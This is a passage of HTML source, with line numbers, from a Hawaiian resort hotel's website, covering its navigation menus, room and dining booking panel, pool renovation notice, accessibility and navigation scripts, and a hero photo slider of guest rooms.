href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/overview" >Overview</a> 3617</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/suites/" >Suites</a> 3618</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/beachfront-wing/" >Beachfront Wing</a> 3619</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/main-tower/" >Main Tower</a> 3620</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/personalize-your-trip/" >Personalize your Trip</a> 3621</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/experiences/" >Experiences</a> 3622</li></ul> 3623</li><li class="nav-dining"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/" class="sn-link" ><span>Dining</span></a> 3624<ul class="unstyled-list level3"> 3625<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/overview" >Overview</a> 3626</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/mauna-kea-luau" >Mauna Kea Luau</a> 3627</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/signature/" >Signature</a> 3628</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/casual/" >Casual</a> 3629</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/in-room-dining" >In-Room Dining</a> 3630</li></ul> 3631</li><li class="nav-wellness"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/" class="sn-link" ><span>Wellness</span></a> 3632<ul class="unstyled-list level3"> 3633<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/overview" >Overview</a> 3634</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/spa" >The Spa</a> 3635</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/fitness" >Fitness</a> 3636</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/wellness-experiences" >Wellness Experiences</a> 3637</li></ul> 3638</li><li class="nav-golf-and-tennis"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/" class="sn-link" ><span>Golf & Tennis</span></a> 3639<ul class="unstyled-list level3"> 3640<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/overview" >Golf & Tennis Overview</a> 3641</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/golf/" >Golf</a> 3642</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/tennis-and-pickleball" >Seaside Racquet Club</a> 3643</li></ul> 3644</li><li class="nav-celebrate-and-romance"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/" class="sn-link" ><span>Celebrate & Romance</span></a> 3645<ul class="unstyled-list level3"> 3646<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/overview" >Celebrate & Romance Overview</a> 3647</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/gather" >Gather</a> 3648</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/site-experiences" >Site Experiences</a> 3649</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/weddings/" >Weddings</a> 3650</li></ul> 3651</li></ul> 3652</div></div><div class="col col-2"></div></div></div></li></ul> 3653 3654 <button class="btn-pill js-btn-reserve">Reserve</button> 3655 </nav> 3656 </div> 3657 3658 </div> 3659 3660 <button type="button" class="nav-toggle js-primary-toggle"><span><span class="ada-hidden">Menu</span></span></button> 3661 3662 <style>.site-book{box-sizing:border-box;position:absolute;top:100%;left:0;width:100%;height:calc(100vh - 109px);overflow-y:auto;background-color:#fff;color:#56534d;padding-top:.5em;opacity:0;pointer-events:none;transform:translateY(-100%);transition:opacity .75s ease,transform .75s ease}.isHeaderMin .site-book{height:calc(100vh - 56px)}@media screen and (max-width:1023px){.site-book{height:calc(100vh - 60px)}}.site-book .flex-cols{height:100%}@media screen and (max-width:1023px){.site-book .flex-cols{justify-content:center}}.book-promo-slide{display:none}</style> 3663 3664 3665<div id="book" class="site-book"> 3666 <div class="flex-cols sb-inner"> 3667 <div class="col-1-2 sb-col-1"> 3668 <div class="book-promo-slider"> 3669 <div class="book-promo-slide" data-promo="KOAAK" style="display: block;"> 3670 <figure class="book-promo"> 3671 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/hapuna.jpg" alt="Mauna Kea Beach Hotel" class="object-fit"></div> 3672 <figcaption> 3673 3674 </figcaption> 3675 </figure> 3676 </div> 3677 <div class="book-promo-slide" data-promo="KOAWI"> 3678 <figure class="book-promo"> 3679 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/westin.jpg" alt="The Westin Hapuna Beach Resort" class="object-fit"></div> 3680 <figcaption> 3681 <h3><em>The Westin</em> Hapuna Beach Resort</h3> 3682 <p>
3682<a href="/stay/westin-hapuna-beach-resort/" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about The Westin Hapuna Beach Resort</span></a></p> 3683 </figcaption> 3684 </figure> 3685 </div> 3686 <div class="book-promo-slide" data-promo="residences"> 3687 <figure class="book-promo"> 3688 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/residences.jpg" alt="Mauna Kea Residences" class="object-fit"></div> 3689 <figcaption> 3690 <h3><em>Mauna Kea</em> Residences</h3> 3691 <p><a href="/stay/mauna-kea-residences/" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Mauna Kea Residences</span></a></p> 3692 </figcaption> 3693 </figure> 3694 </div> 3695 <div class="book-promo-slide" data-promo="40177"> 3696 <figure class="book-promo"> 3697 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/manta.jpg" alt="Manta" class="object-fit"></div> 3698 <figcaption> 3699 <h3><em>Manta</em></h3> 3700 <p><a href="/dine/signature/manta" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Manta</span></a></p> 3701 </figcaption> 3702 </figure> 3703 </div> 3704 <div class="book-promo-slide" data-promo="350437"> 3705 <figure class="book-promo"> 3706 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/copper-bar.jpg" alt="Copper Bar" class="object-fit"></div> 3707 <figcaption> 3708 <h3><em>Copper</em> Bar</h3> 3709 <p><a href="/dine/casual/copper-bar" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Copper Bar</span></a></p> 3710 </figcaption> 3711 </figure> 3712 </div> 3713 <div class="book-promo-slide" data-promo="350440"> 3714 <figure class="book-promo"> 3715 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/hau-tree.jpg" alt="Hau Tree" class="object-fit"></div> 3716 <figcaption> 3717 <h3><em>Hau</em> Tree</h3> 3718 <p><a href="/dine/casual/hau-tree" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Hau Tree</span></a></p> 3719 </figcaption> 3720 </figure> 3721 </div> 3722 <div class="book-promo-slide" data-promo="1147462"> 3723 <figure class="book-promo"> 3724 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/naupaka.jpg" alt="Naupaka" class="object-fit"></div> 3725 <figcaption> 3726 <h3><em>Naupaka</em></h3> 3727 <p><a href="/dine/casual/naupaka-beach-grill" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Naupaka</span></a></p> 3728 </figcaption> 3729 </figure> 3730 </div> 3731 <div class="book-promo-slide" data-promo="987028"> 3732 <figure class="book-promo"> 3733 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/meridia.jpg" alt="Meridia" class="object-fit"></div> 3734 <figcaption> 3735 <h3><em>Meridia</em></h3> 3736 <p><a href="/dine/signature/meridia" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Meridia</span></a></p> 3737 </figcaption> 3738 </figure> 3739 </div> 3740 </div> 3741 </div> 3742 <div class="col-1-2 sb-col-2"> 3743 <div class="book-tabs-wrap"> 3744 <div role="tablist" class="book-tabs"> 3745 <button role="tab" class="book-tab" data-tab="stay" tabindex="-1" aria-selected="true" aria-controls="book-tabpanel-1" id="book-tab-1"><span class="bed-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 419.13 266.93"><path class="bed-icon-1" d="M411.27 69.63c-4.34 0-7.87 3.52-7.87 7.87v28.98H115.09c3.97-4.64 6.23-10.04 6.23-15.86 0-17.72-20.83-31.59-47.42-31.59S26.49 72.91 26.49 90.62c0 5.82 2.26 11.23 6.23 15.86H15.73V7.87C15.73 3.52 12.21 0 7.87 0S0 3.52 0 7.87v251.2c0 4.34 3.52 7.87 7.87 7.87s7.87-3.52 7.87-7.87v-72.72H403.4v72.72c0 4.34 3.52 7.87 7.87 7.87s7.87-3.52 7.87-7.87V77.49c0-4.34-3.52-7.87-7.87-7.87ZM42.22 90.6c0-7.49 13.55-15.86 31.68-15.86s31.69 8.38 31.69 15.86-13.55 15.86-31.69 15.86-31.68-8.38-31.68-15.86Zm-26.49 80.02V122.2H403.4v48.42H15.73Z"/></svg></span> Stay</button> 3746 <button role="tab" class="book-tab" data-tab="dine" tabindex="-1" aria-selected="false" aria-controls="book-tabpanel-2" id="book-tab-2"><span class="dine-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 418.95 286.58"><path class="dine-icon-1" d="M211.3 44.7c-64.66 0-117.27 52.61-117.27 117.27s52.61 117.27 117.27 117.27 117.27-52.61 117.27-117.27S275.96 44.7 211.3 44.7Zm0 220.8c-57.08 0-103.52-46.44-103.52-103.52S154.22 58.46 211.3 58.46s103.52 46.44 103.52 103.52S268.38 265.5 211.3 265.5ZM415.37.85a6.863 6.863 0 0 0-7 .23c-2.08
37461.33-50.85 33.7-50.85 141.73 0 3.8 3.08 6.88 6.88 6.88h40.8v130.02a6.88 6.88 0 1 0 13.76 0V6.88c0-2.51-1.37-4.82-3.57-6.03Zm-44.03 135.09c1.01-48.31 12.55-78.89 22.3-96.26 4.02-7.15 8.05-12.68 11.55-16.82v113.08h-33.85ZM72.88 0A6.88 6.88 0 0 0 66 6.88v86.16c0 1.26-1.03 2.29-2.29 2.29H46.75V6.88c0-3.8-3.08-6.88-6.87-6.88S33 3.08 33 6.88v88.46H16.04c-1.26 0-2.29-1.03-2.29-2.29V6.88c0-3.8-3.08-6.88-6.87-6.88S0 3.08 0 6.88v86.16c0 8.85 7.2 16.04 16.04 16.04H33V279.7a6.88 6.88 0 1 0 13.76 0V109.09h16.96c8.85 0 16.04-7.2 16.04-16.04V6.88C79.75 3.08 76.67 0 72.88 0Z"/></svg></span> Dine</button> 3747 </div> 3748 <div class="book-tabs-content"> 3749 <div role="tabpanel" id="book-tabpanel-1" aria-labelledby="book-tab-1" tabindex="-1" style="display: block;"> 3750 <form class="book-form stay-form" method="get" action="https://www.marriott.com/reservation/availabilitySearch.mi" target="_blank"> 3751 <div class="field field-pill"> 3752 <select id="staySelect" name="propertyCode" class="js-input" tabindex="-1"> 3753 <option value="KOAAK">Mauna Kea Beach Hotel</option> 3754 <option value="KOAWI">The Westin Hapuna Beach Resort</option> 3755 <option value="residences">Mauna Kea Residences</option> 3756 </select> 3757 <label for="staySelect">Choose a Hotel</label> 3758 <i class="arrow"></i> 3759 </div> 3760 <div class="field field-pill"> 3761 <input type="text" id="bookCheckIn" name="fromDate" class="book-check-in" readonly autocomplete="off" tabindex="-1"> 3762 <label for="bookCheckIn">Check In</label> 3763 <i class="arrow"></i> 3764 </div> 3765 <div class="field field-pill"> 3766 <input type="text" id="bookCheckOut" name="toDate" class="book-check-out" readonly autocomplete="off" tabindex="-1"> 3767 <label for="bookCheckOut">Check Out</label> 3768 <i class="arrow"></i> 3769 </div> 3770 <div class="field field-room"> 3771 <div data-trigger="spinner" class="spinner" id="roomSpinner"> 3772 <button type="button" data-spin="down" tabindex="-1">-</button> 3773 <div> 3774 <input type="text" name="numberOfRooms" id="bookRooms" value="1" data-ruler="quantity" data-min="1" data-max="4" tabindex="-1"> 3775 <label for="bookRooms">Rooms</label> 3776 </div> 3777 <button type="button" data-spin="up" tabindex="-1">+</button> 3778 </div> 3779 </div> 3780 <div class="field"> 3781 <div data-trigger="spinner" class="spinner" id="guestsSpinner"> 3782 <button type="button" data-spin="down" tabindex="-1">-</button> 3783 <div> 3784 <input type="text" name="numberOfGuests" id="bookAdults" value="1" data-ruler="quantity" data-min="1" data-max="4" tabindex="-1"> 3785 <label for="bookAdults">Adult</label> 3786 </div> 3787 <button type="button" data-spin="up" tabindex="-1">+</button> 3788 </div> 3789 </div> 3790 <div class="field field-children"> 3791 <div data-trigger="spinner" class="spinner" id="childrenSpinner"> 3792 <button type="button" data-spin="down" tabindex="-1">-</button> 3793 <div> 3794 <input type="text" name="childrenCount" id="bookChildren" value="0" data-ruler="quantity" data-min="0" data-max="4" tabindex="-1"> 3795 <label for="bookChildren">Children</label> 3796 </div> 3797 <button type="button" data-spin="up" tabindex="-1">+</button> 3798 </div> 3799 </div> 3800 <div class="field field-promo"> 3801 <input type="text" id="bookPromo" name="corporateCode" class="js-input" tabindex="-1"> 3802 <label for="bookPromo">Promo Code</label> 3803 </div> 3804 <button class="btn-pill" type="submit" tabindex="-1">Check Availability</button> 3805 </form> 3806 <div class="mobile-book-notice"> 3807 <h3 class="h4">MAUNA KEA BEACH HOTEL RENOVATION NOTICE: <span class="normal">Pool & Beach Wing Closure</span></h3> 3808 <p class="disclaimer">Our hotel pool will be closed from February 2025 through November 2025; however, guests can still enjoy our beach services at Kauna’oa Bay. Noisy work will be restricted to the hours of 9AM to 5PM daily and contained behind safety barriers. Call for more details.</p> 3809 <p><a href="/renewal" class="lm" tabindex="-1">
3809Learn More <span class="ada-hidden">(Renovation details)</span></a></p> 3810 </div> 3811 </div> 3812 <div role="tabpanel" id="book-tabpanel-2" aria-labelledby="book-tab-2" tabindex="-1"> 3813 <div class="dine-scripts"> 3814 <!--
3814<script type='text/javascript' src='//www.opentable.com/widget/reservation/loader?rid=40177&rid=350437&rid=350440&rid=1147462&rid=987028&domain=com&type=standard&theme=standard&lang=en&overlay=true&iframe=false' ></script>
3814 --> 3815 <div class="luau-callout"><p class="book-dine-luau">For The Mauna Kea Luau reservations,<br> please <a href="https://fareharbor.com/embeds/book/maunakearesortevents/items/413305/?full-items=yes&flow=829426" target="_blank" rel="noopener" tabindex="-1">click here <span class="ada-hidden">to book a reservation</span></a>.</p></div> 3816 </div> 3817 </div> 3818 </div> 3819 </div> 3820 </div> 3821 </div> 3822 <button type="button" class="btn-close js-book-close" aria-label="Close reservation panel" tabindex="-1"></button> 3823</div> 3824 3825 3826 3827</header> 3828 3829
3830<script> 3831 _hdmq.add(function(){ 3832 3833 // double tap for touch devices 3834 $('.site-nav').doubleTapToGo({ 3835 selectorChain: 'li:has(".dd-nav")' 3836 }); 3837 3838 //HEADER MIN ANIMATE 3839 var isHeaderMin=false; 3840 function updateHeaderMin(){ 3841 if($(window).scrollTop()>100 && window.innerWidth>767){ 3842 if(isHeaderMin==true) return; 3843 isHeaderMin=true; 3844 $('body').addClass('isHeaderMin'); 3845 }else{ 3846 if(isHeaderMin==false) return; 3847 isHeaderMin=false; 3848 $('body').removeClass('isHeaderMin'); 3849 } 3850 } 3851 $(window).scroll(updateHeaderMin); 3852 $(window).resize(updateHeaderMin); 3853 updateHeaderMin(); 3854 3855 3856 // Nav toggle button 3857 const navToggle = document.querySelector('.js-primary-toggle'); 3858 navToggle.addEventListener('click', function () { 3859 const docBody = document.querySelector('body'); 3860 if (docBody.classList.contains('book-active')) { 3861 docBody.classList.remove('book-active'); 3862 } 3863 docBody.classList.toggle('active-nav'); 3864 }); 3865 3866 3867 // Handle submenus on hover 3868 $('.primary-nav > li').each(function(i, el) { 3869 let timer; 3870 let $el = $(el); 3871 let $subnav = $el.find('.dd-nav'); 3872 let $body = $('body'); 3873 3874 $el 3875 .mouseenter( function() { 3876 $body.addClass('active-subnav'); 3877 3878 if ($subnav.length) { 3879 $subnav.addClass('open'); 3880 $subnav.siblings('.pn-link').attr('aria-expanded', true); 3881 } 3882 }) 3883 .mouseleave(function() { 3884 $body.removeClass('active-subnav'); 3885 3886 if ($subnav.length) { 3887 $subnav.removeClass('open'); 3888 $subnav.siblings('.pn-link').attr('aria-expanded', false); 3889 } 3890 }); 3891 3892 }); 3893 3894 // move utility items for mobile 3895 function setUtilityItems() { 3896 const themeToggle = $('.theme-toggle, .theme-overlay'); 3897 const reserveButton = $('.btn-pill.js-btn-reserve'); 3898 3899 if ($(window).width() < 768) { 3900 $('.mobile-utility').prepend(themeToggle); 3901 $('.mobile-utility').append(reserveButton); 3902 } else { 3903 $('.un-tt').prepend(themeToggle); 3904 $('.site-nav').append(reserveButton); 3905 } 3906 } 3907 setUtilityItems(); 3908 window.addEventListener('resize', _.debounce(setUtilityItems, 250)); 3909 3910 3911 // Make nav keyboard accessible 3912 function navKeyHandler(e) { 3913 let $this = $(this); // focused element 3914 let $activeSubnav = $('.dd-nav.open'); 3915 3916 // if focused element has items to the right, detect right arrow press 3917 let $nextSibling = $this.closest('.primary-nav > li').next('li').children('.pn-link'); 3918 if ($nextSibling.length) { 3919 if (e.keyCode == '39') { 3920 $nextSibling.focus(); 3921 $activeSubnav.removeClass('open'); 3922 $activeSubnav.siblings('.pn-link').attr('aria-expanded', false); 3923 } 3924 } 3925 3926 // if focused element has items to the left, detect left arrow press 3927 let $prevSibling = $this.closest('.primary-nav > li').prev('li').children('.pn-link'); 3928 if ($prevSibling.length) { 3929 if (e.keyCode == '37') { 3930 $prevSibling.focus(); 3931 $activeSubnav.removeClass('open'); 3932 $activeSubnav.siblings('.pn-link').attr('aria-expanded', false); 3933 } 3934 } 3935 3936 // if focused element has items below, detect down arrow press 3937 let $subnav = $this.siblings('.dd-nav'); 3938 let $firstSubnavItem = $subnav.find('.subnav').children('li:first-child').children('.sn-link'); 3939 3940 if ($firstSubnavItem.length) { 3941 if (e.keyCode == '40') { 3942 // open active subnav 3943 $subnav.addClass('open'); 3944 // update aria expanded on active subnav 3945 $subnav.siblings('.pn-link').attr('aria-expanded', true); 3946 // deactivate other active subnavs 3947 $activeSubnav.removeClass('open'); 3948 // update aria expanded on deactivated subnavs 3949 $activeSubnav.siblings('.pn-link').attr('aria-expanded', false); 3950 // set focus to first item 3951 $firstSubnavItem.focus(); 3952 } 3953 } 3954 3955 // make subnav items tabbable when open 3956 $('.dd-nav').each(function(i, el) { 3957 let _this = $(el); 3958 3959 // toggle tabindex 3960 if (_this.hasClass('open')) { 3961 _this.find('a').attr('tabindex', 0); 3962 } else { 3963 _this.find('a').attr('tabindex', -1); 3964 } 3965 }); 3966 3967 3968 // if tabbed to primary nav link, hide subnavs 3969 let isPnLink = $this.hasClass('pn-link') 3970 if (isPnLink) { 3971 if (e.keyCode == 9) { 3972 // make links untabbale 3973 $activeSubnav.find('a').attr('tabindex', -1); 3974 // hide other active subnavs 3975 $activeSubnav.removeClass('open'); 3976 // update aria expanded 3977 $activeSubnav.siblings('.pn-link').attr('aria-expanded', false); 3978 } 3979 } 3980 3981 // if focus leaves active subnav 3982 $(document).click(function(event) { 3983 var $target = $(event.target); 3984 if(!$target.closest('.dd-nav.open').length && $('.dd-nav.open').is(":visible")) { 3985 $('.dd-nav.open').removeClass('open') 3986 } 3987 }); 3988 } 3989 3990 3991 // bind handler to all links in primary nav 3992 $('.primary-nav a').off('keyup').on('keyup', navKeyHandler); 3993 3994 // make weather icons inline svgs 3995 inlineSVG('.weather-icon'); 3996 3997 3998 //make different hover colors for Westin Hapuna dining places 3999 const diningSubnav = $('.nav-dine .subnav .level3'); //select dining subnav 4000 4001 const meridia = diningSubnav.find("a[href$='meridia']"); //select item that ends with a certain page 4002 meridia.addClass('green');
4002 //add class 4003 4004 const plumeriaMarket = diningSubnav.find("a[href$='plumeria-market']"); 4005 plumeriaMarket.addClass('green'); 4006 4007 const piko = diningSubnav.find("a[href$='piko']"); 4008 piko.addClass('green'); 4009 4010 const ikenaLanding = diningSubnav.find("a[href$='ikena-landing']"); 4011 ikenaLanding.addClass('green'); 4012 4013 const naupakaBeachGrill = diningSubnav.find("a[href$='naupaka-beach-grill']"); 4014 naupakaBeachGrill.addClass('green'); 4015 4016 const westinHapuna = diningSubnav.find("a[href$='the-westin-hapuna-beach-resort']"); 4017 westinHapuna.addClass('green'); 4018 4019 //ADA fixes add descriptive text 4020 var promos = document.querySelectorAll('.subnav-promo'); 4021 4022 for (var i = 0; i < promos.length; i++) { 4023 var promo = promos[i]; 4024 var figcaption = promo.querySelector('figcaption'); 4025 var link = promo.querySelector('a.lm'); 4026 4027 if (figcaption && link) { 4028 var captionText = figcaption.textContent.trim(); 4029 4030 // Create the ADA hidden span 4031 var adaSpan = document.createElement('span'); 4032 adaSpan.className = 'ada-hidden'; 4033 adaSpan.textContent = 'About ' + captionText; 4034 4035 // Append the hidden span to the link (if not already there) 4036 if (!link.querySelector('.ada-hidden')) { 4037 link.appendChild(adaSpan); 4038 } 4039 } 4040 } 4041 4042 }); 4043</script>
4043 4044 4045 4046 4047<style></style> 4048 4049 4050 4051<div id="hero" class="interior-height has-loader"> 4052 <style>#hero{box-sizing:border-box;min-height:410px;position:relative;overflow:hidden;z-index:2;background-color:#fff;color:#fff;margin-bottom:2em}#hero.full-height{height:100vh}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape){#hero.full-height{height:698px}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){#hero.full-height{height:954px}}@media screen and (max-width:767px){#hero.full-height{height:420px}}#hero.interior-height{height:80vh}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape){#hero.interior-height{height:698px}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){#hero.interior-height{height:954px}}@media screen and (max-width:767px){#hero.interior-height{height:420px}}#hero.partial-height{height:600px}@media screen and (max-width:767px){#hero.partial-height{height:360px}}#hero.small-height{height:500px}@media screen and (max-width:767px){#hero.small-height{height:360px}}@media screen and (max-width:767px){#hero{min-height:0}}.hero{position:relative;height:100%;overflow:hidden;max-width:3840px;margin:0 auto;transition:opacity .6s ease}@media screen and (max-width:767px){.hero{padding-top:60px}}.hero.loading{visibility:hidden;opacity:0}.hero figcaption{box-sizing:border-box;position:absolute;top:50%;left:50%;z-index:2;width:90%;color:currentColor;text-shadow:.1em 0 .4em #000;text-align:center;transform:translate(-50%,-50%)}.hero figcaption h2{font-family:"Lora",serif;font-size:1.75rem;letter-spacing:.05em;text-transform:none}.hero figcaption .inner{width:auto;max-width:none}@media screen and (max-width:767px){.hero figcaption{font-size:16px;text-align:center}.hero figcaption br{display:none}}@media screen and (max-width:480px){.hero figcaption{width:70%}}@media screen and (max-width:768px){.hero{margin-left:0}}.hero .btn{background:#ff671f;padding:4px 20px;color:currentColor}.hero .btn:before,.hero .btn:after{display:none}@media screen and (max-width:767px){.hero .slick-arrow{top:calc(50% + 30px)}}.hero-slide{position:relative;overflow:hidden}.hero-nav{box-sizing:border-box;position:absolute;bottom:5.4%;right:5%;z-index:2;color:currentColor}@media screen and (max-width:767px){.hero-nav{min-height:40px;bottom:.75em}}.hero-nav .slick-arrow{position:relative;top:auto;transform:none;margin:0 .35rem}.hero-nav .slick-prev{left:auto}.hero-nav .slick-next{right:auto}.hero-sub-caption{position:absolute;right:1.5em;bottom:1.5em;z-index:2;color:currentColor;font-size:13px}@media screen and (max-width:767px){.hero-sub-caption{display:none}}.btn-hero-toggle{position:absolute;right:1.5em;bottom:1.5em;z-index:2;width:34px;height:34px;border:1px solid;border-radius:50%;transition:color .35s}@media screen and (max-width:767px){.btn-hero-toggle{right:1em;bottom:1em}}.btn-hero-toggle.is-hidden{display:none}.btn-hero-toggle::before{content:'î ¨';font-family:'fontello';font-size:1rem}.btn-hero-toggle.is-play::before{content:'î §'}.btn-hero-toggle:hover{color:#ff671f}</style> 4053 4054 4055<div class="ada-hidden js-hero-hint" aria-live="polite" aria-atomic="true"></div> 4056 4057<div class="hero loading" id="Hero_Tour_125"> 4058 4059 <figure class="slide hero-slide"> 4060 <img data-lazy="/images/hero/full/koaak-rm-632-ocean-view-king_lowres-.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4061 <figcaption> 4062 <div class="inner"> 4063 4064 </div> 4065 </figcaption> 4066 4067 <div class="hero-sub-caption"></div> 4068 4069 </figure> 4070 4071 <figure class="slide hero-slide"> 4072 <img data-lazy="/images/hero/full/koaak-hualalai-suite-living-room_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4073 <figcaption> 4074 <div class="inner"> 4075 4076 </div> 4077 </figcaption> 4078 4079 <div class="hero-sub-caption"></div> 4080 4081 </figure> 4082 4083 <figure class="slide hero-slide"> 4084 <img data-lazy="/images/hero/full/koaak-rm-616-oceanfront-deluxe-king-tea-set-detail_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" >
4085 <figcaption> 4086 <div class="inner"> 4087 4088 </div> 4089 </figcaption> 4090 4091 <div class="hero-sub-caption"></div> 4092 4093 </figure> 4094 4095 <figure class="slide hero-slide"> 4096 <img data-lazy="/images/hero/full/koaak-hualalai-suite-half-bath_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4097 <figcaption> 4098 <div class="inner"> 4099 4100 </div> 4101 </figcaption> 4102 4103 <div class="hero-sub-caption"></div> 4104 4105 </figure> 4106 4107 <figure class="slide hero-slide"> 4108 <img data-lazy="/images/hero/full/koaak-rm-616-oceanfront-deluxe-king_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4109 <figcaption> 4110 <div class="inner"> 4111 4112 </div> 4113 </figcaption> 4114 4115 <div class="hero-sub-caption"></div> 4116 4117 </figure> 4118 4119 <figure class="slide hero-slide"> 4120 <img data-lazy="/images/hero/full/MTowerOCVsm.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4121 <figcaption> 4122 <div class="inner"> 4123 4124 </div> 4125 </figcaption> 4126 4127 <div class="hero-sub-caption"></div> 4128 4129 </figure> 4130 4131 <figure class="slide hero-slide"> 4132 <img data-lazy="/images/hero/full/koaak-rm-605-2-bed-nightstand-detail_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4133 <figcaption> 4134 <div class="inner"> 4135 4136 </div> 4137 </figcaption> 4138 4139 <div class="hero-sub-caption"></div> 4140 4141 </figure> 4142 4143 <figure class="slide hero-slide"> 4144 <img data-lazy="/images/hero/full/koaak-kohala-suite-living-room-lanai_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4145 <figcaption> 4146 <div class="inner"> 4147 4148 </div> 4149 </figcaption> 4150 4151 <div class="hero-sub-caption"></div> 4152 4153 </figure> 4154 4155 <figure class="slide hero-slide"> 4156 <img data-lazy="/images/hero/full/koaak-rm-616-oceanfront-deluxe-king-seating-detail_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4157 <figcaption> 4158 <div class="inner"> 4159 4160 </div> 4161 </figcaption> 4162 4163 <div class="hero-sub-caption"></div> 4164 4165 </figure> 4166 4167 <figure class="slide hero-slide"> 4168 <img data-lazy="/images/hero/full/koaak-rm-604-ocn-front-deluxe-bathroom_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4169 <figcaption> 4170 <div class="inner"> 4171 4172 </div> 4173 </figcaption> 4174 4175 <div class="hero-sub-caption"></div> 4176 4177 </figure> 4178 4179 <figure class="slide hero-slide"> 4180 <img data-lazy="/images/hero/full/koaak-hualalai-suite-bedroom_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4181 <figcaption> 4182 <div class="inner"> 4183 4184 </div> 4185 </figcaption> 4186 4187 <div class="hero-sub-caption"></div> 4188 4189 </figure> 4190 4191 <figure class="slide hero-slide"> 4192 <img data-lazy="/images/hero/full/koaak-hualalai-suite-living-room-lanai_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4193 <figcaption> 4194 <div class="inner"> 4195 4196 </div> 4197 </figcaption> 4198 4199 <div class="hero-sub-caption"></div> 4200 4201 </figure> 4202 4203 <figure class="slide hero-slide"> 4204 <img data-lazy="/images/hero/full/koaak-rm-628-oceanfront-king_lr.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4205 <figcaption> 4206 <div class="inner"> 4207 4208 </div> 4209 </figcaption> 4210 4211 <div class="hero-sub-caption"></div> 4212 4213 </figure> 4214 4215 <figure class="slide hero-slide"> 4216 <img data-lazy="/images/hero/full/koaak-rm-800-mauna-kea-suite-master-bedroom_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" >
4217 <figcaption> 4218 <div class="inner"> 4219 4220 </div> 4221 </figcaption> 4222 4223 <div class="hero-sub-caption"></div> 4224 4225 </figure> 4226 4227 <figure class="slide hero-slide"> 4228 <img data-lazy="/images/hero/full/koaak-rm-800-mauna-kea-suite-master-bath-tub-detail_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4229 <figcaption> 4230 <div class="inner"> 4231 4232 </div> 4233 </figcaption> 4234 4235 <div class="hero-sub-caption"></div> 4236 4237 </figure> 4238 4239 <figure class="slide hero-slide"> 4240 <img data-lazy="/images/hero/full/koaak-rm-800-mauna-kea-suite-lanai_lowres.jpg" alt="" data-object-fit="cover" class="object-fit hero-image" style="" > 4241 <figcaption> 4242 <div class="inner"> 4243 4244 </div> 4245 </figcaption> 4246 4247 <div class="hero-sub-caption"></div> 4248 4249 </figure> 4250 4251 <figure class="slide hero-slide"> 4252 <img 